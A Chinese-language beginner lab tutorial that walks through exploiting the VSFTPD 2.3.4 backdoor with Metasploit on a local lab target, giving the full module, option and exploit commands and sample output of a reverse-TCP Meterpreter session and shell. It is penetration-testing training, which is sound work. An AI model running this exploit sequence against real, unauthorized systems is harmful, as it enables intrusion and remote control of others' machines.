Metasploit 简单漏洞利用执行

LinuxBeginner
立即练习

介绍

欢迎来到使用 Metasploit 进行渗透测试的世界!Metasploit 框架是一款功能强大的开源工具,被网络安全专业人员广泛用于探测网络和服务器中的漏洞。

在本实验中,你将完成一个经典且直接的漏洞利用过程。我们搭建了一个模拟环境,其中运行着一个存在漏洞的 VSFTPD (Very Secure FTP Daemon) 版本,具体为 2.3.4 版本。该特定版本包含一个被秘密植入源代码中的著名后门。

你的目标是使用 Metasploit 控制台 (msfconsole) 来查找、配置并启动针对该服务的漏洞利用,从而在目标系统上获得命令 shell。通过这次实践练习,你将掌握使用 Metasploit 执行简单漏洞利用的基本工作流程。

让我们开始吧!

这是一个引导式实验,提供分步说明以帮助你学习和练习。请仔细按照说明操作,完成每个步骤并获得实践经验。历史数据显示,这是一个 初级 难度的实验,完成率为 95%。它获得了学员 100% 的好评。

使用 use exploit/unix/ftp/vsftpd_234_backdoor 选择易受攻击的服务漏洞

在此步骤中,你将启动 Metasploit 控制台,并为 VSFTPD 2.3.4 后门选择合适的漏洞利用模块。msfconsole 是 Metasploit 框架的主要交互界面。

首先,启动 Metasploit 控制台。我们将使用 -q (quiet) 参数来跳过启动横幅,从而加快启动速度。

msfconsole -q

控制台加载完成后,提示符将变为 msf >。现在,你需要告诉 Metasploit 你想要使用哪个漏洞利用程序。use 命令用于加载特定的模块。VSFTPD 2.3.4 后门的模块位于 exploit/unix/ftp/vsftpd_234_backdoor

在 Metasploit 控制台中执行以下命令:

use exploit/unix/ftp/vsftpd_234_backdoor

运行该命令后,你会注意到提示符发生了变化,包含了所选漏洞利用模块的名称。这表明该模块现已激活,并准备好进行配置。

根据你的 Metasploit 版本,系统可能会自动选择一个默认的 payload(例如 cmd/linux/http/x86/meterpreter_reverse_tcp)。该 payload 需要两项设置:

  1. LHOST - Metasploit 监听反向连接的 IP 地址。在本实验中,请使用 127.0.0.1
set LHOST 127.0.0.1
  1. Encoder - 默认的编码器可能会失败,并提示「All encoders failed to encode」。将编码器设置为 generic/none 以避免编码:
set Encoder generic/none

使用 set RHOSTS target_ip 设置目标 IP

在此步骤中,你将通过设置目标主机的 IP 地址来配置漏洞利用程序。大多数 Metasploit 模块都要求你指定一个目标。远程目标主机的选项是 RHOSTS

由于易受攻击的 FTP 服务运行在你当前所在的机器上(我们的实验环境),你可以使用回环地址 127.0.0.1

要设置此选项,请使用 set 命令,后跟选项名称 (RHOSTS) 及其值 (127.0.0.1)。

在你的 msfconsole 中输入以下命令:

set RHOSTS 127.0.0.1

Metasploit 将通过打印该选项及其新值来确认设置。

RHOSTS => 127.0.0.1

现在,你已经告诉 Metasploit 将攻击指向何处。

使用 show options 验证漏洞利用选项

在此步骤中,你将在启动漏洞利用之前,验证所有必需的选项是否已正确设置。这是确保漏洞利用程序配置得当的关键最佳实践。

show options 命令会显示当前加载模块的所有可配置选项、它们的当前设置以及它们是否为必需项。

在你的 msfconsole 中运行以下命令:

show options

你将看到一个列出模块选项和 payload 选项的表格。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

观察输出结果。确保 RHOSTS127.0.0.1LHOST 也为 127.0.0.1RPORT 应为 21 (FTP)。在设置好所有必需选项后,你就可以继续下一步了。

使用 exploit 命令执行漏洞利用

现在漏洞利用程序已经配置完毕,你将针对目标执行它。exploit 命令(也可以简写为 run)会根据当前模块和设置发起攻击。

输入以下命令并按回车键,执行漏洞利用:

exploit

故障排除:如果你看到 Msf::OptionValidateError One or more options failed to validate: LHOST,请运行 set LHOST 127.0.0.1。如果你看到 All encoders failed to encode,请运行 set Encoder generic/none 来禁用编码。之后再次运行 exploit

警告:第一次尝试可能会失败,并提示 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 或 "Exploit completed, but no session was created."。如果出现这种情况,只需再次运行 exploit 命令即可——第二次尝试通常会成功。

Metasploit 现在将尝试利用后门。你将看到详细描述攻击步骤的输出信息。如果成功,它将触发后门并开启一个 Meterpreter 会话。

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

重要提示:漏洞利用成功后,你将进入 Meterpreter 提示符界面。这意味着你已成功获得远程访问权限!你可以运行 shell 进入交互式命令行界面,然后运行 whoamiid 来确认你已获得访问权限:

shell
Process 1234 created.
Channel 1 created.
whoami
labex

恭喜你,你已经成功获得了远程访问权限!

使用 sessions -l 检查会话

在此步骤中,你将学习如何管理刚刚打开的活动连接或「会话」。Metasploit 允许你同时打开多个会话并在它们之间切换。

首先,要返回 msfconsole 提示符而不关闭会话,你需要将其置于后台。按下键盘上的 Ctrl+Z。如果你在 shell 中(运行 shell 之后),输入 y 将通道置于后台——你将返回到 meterpreter >。再次按 Ctrl+Z,并在提示时输入 y 将会话置于后台:

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

sessions 命令仅在 Metasploit 主提示符 (msf exploit(...) >) 下有效,在 Meterpreter 内部无效。你现在已回到 Metasploit 主提示符。要查看所有活动会话的列表,请使用带有 -l (list) 参数的 sessions 命令。

sessions -l

这将显示所有后台会话的表格,包括它们的 ID、类型和连接信息。

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

你可以看到你的会话 ID 为 1。如果你想再次与它交互,可以使用命令 sessions -i 1。这种会话管理是 Metasploit 的一项关键功能。

总结

恭喜!你已成功完成本实验,并使用 Metasploit 框架执行了你的第一次漏洞利用。

在本实验中,你学习了使用 Metasploit 进行渗透测试的基本工作流程:

  • 启动 Metasploit 控制台 (msfconsole)。
  • 使用 use 命令选择特定的漏洞利用模块。
  • 使用 set 命令配置模块的目标。
  • 使用 show options 验证配置。
  • 使用 exploit 命令启动攻击。
  • 使用 sessions 管理产生的连接。

这种「选择、配置、利用」的基本模式是你未来在 Metasploit 中执行几乎所有活动的基础。现在,你已具备核心知识,可以去探索更复杂的漏洞利用和 payload 了。